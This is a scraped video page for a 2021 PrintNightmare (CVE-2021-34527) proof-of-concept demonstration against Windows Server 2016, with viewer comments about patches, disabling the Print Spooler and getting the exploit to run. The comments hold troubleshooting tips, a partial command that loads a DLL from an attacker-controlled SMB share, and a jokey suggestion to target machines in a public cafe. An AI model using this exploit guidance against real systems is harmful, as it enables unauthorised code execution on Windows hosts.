CVE-2021-34527 - PrintNightmare - Server 2016 PoC Demonstration
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- Опубліковано 29 чер 2021
- Quick video demonstrating the trivial ability to exploit the Print Spooler service. Screen on the left is the victim Server 2016 host. Screen on the right is the attacker running the PoC from github.com/cube0x0/CVE-2021-1...
Note: Microsoft has now termed PrintNightmare as CVE-2021-34527, what some of us originally considered as CVE-2021-1675. The threat is still real-just had a naming confusion. Strictly 1675 was addressed in the June 8 updates but 34527/PrintNightmare still goes without a patch. - Наука та технологія
The first solution is to stop and deactivate the print spooler. But the customers cant print then, if they have printers on the network
This is similar to the Win2K Secunia spooler exploit of 15 years ago
Is there any tool/script to check the print spooler service is running on domain controllers remotely?
Thanks
Demo would be better if the "shutdown" or "msg" command is used, but still a valid PoC :)
When I'm running the python script against the target, I'm receiving a "zsh: event not found: @[target_ip]" error. Anyone else experience this and if so, how do you get around it?
I have tried same thing on Windows Server 2019. I can see the .dll upload but doesn't seem to execute.
Any chance your box is a domain controller? If not, run dc promo and throw your exploit again. Several of us have observed similar oddities.
@@kylehanslovan303 it is a Domain Controller already
Same by me, have a solution found?
Did They released patch or update to fix this vulnerability ;)
Not yet
They just did today as far back as Windows 7
So does this exploit requires admin credentials
No just a domain account
As far as I understand, you are using the printer ID code to get to the computer ID and start hacking.
Do we have to disable Spooler?
Any patch release by Microsoft yet?
Nothing as of this moment. There is more clarification that this vulnerability may be related but not specifically CVE-2021-1675. I imagine Microsoft’s poor team is burning the midnight oil to get the patch implemented and tested.
@@kylehanslovan303 Sadly they didn't so so when writing the initial malware that is windoze.
Source env/bin/activate
Not activate evn
Dude i have that errror, its impacket error ? or maybe windows 2016 server , y start the service manualy .... hope y can help me
[-] Failed to enumerate remote pDriverPath
module 'impacket.dcerpc.v5.rprn' has no attribute 'hRpcEnumPrinterDrivers'
Did you solve this issue?
I have same issue. did you solve the problem?
i can't connect if victim does't use password.
Getting connection failed on windows 10, unable to execute, is it affecting only DC? let me know if anyone have successfully executed the payload on win 10 machine.
i execute it on DC but failed ,the dll file copied to server successfully,but it didnt copied to old folder
How to download window 2016 vuln sir
Only works the same network dude !
correct. And my VM'a are on the same network
@@deyo2794 Can you hack a real machine or something ?
@@pheaktrakim1212 go to a public cafe or sth
Needs port forwarding for exploitation over different network
@@deyo2794 can u explain the Domain_name Ex: user:pass
So you actually require Username and Password. wow.....
It would be great if there was some commentary.
What for? Video is straight forward and there's even a link to the exploit in the comments.
When i tried to connect user victim and password victim, it worked. However, I tried to connect that doesn't used password, it didnt worked. The command used:
Python3 CVE........ domain/user:@ip victim '\\ipattacker\smb\*.dll
..... now, i can't connect if victim doesn't password.
Please help me, I get an error
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.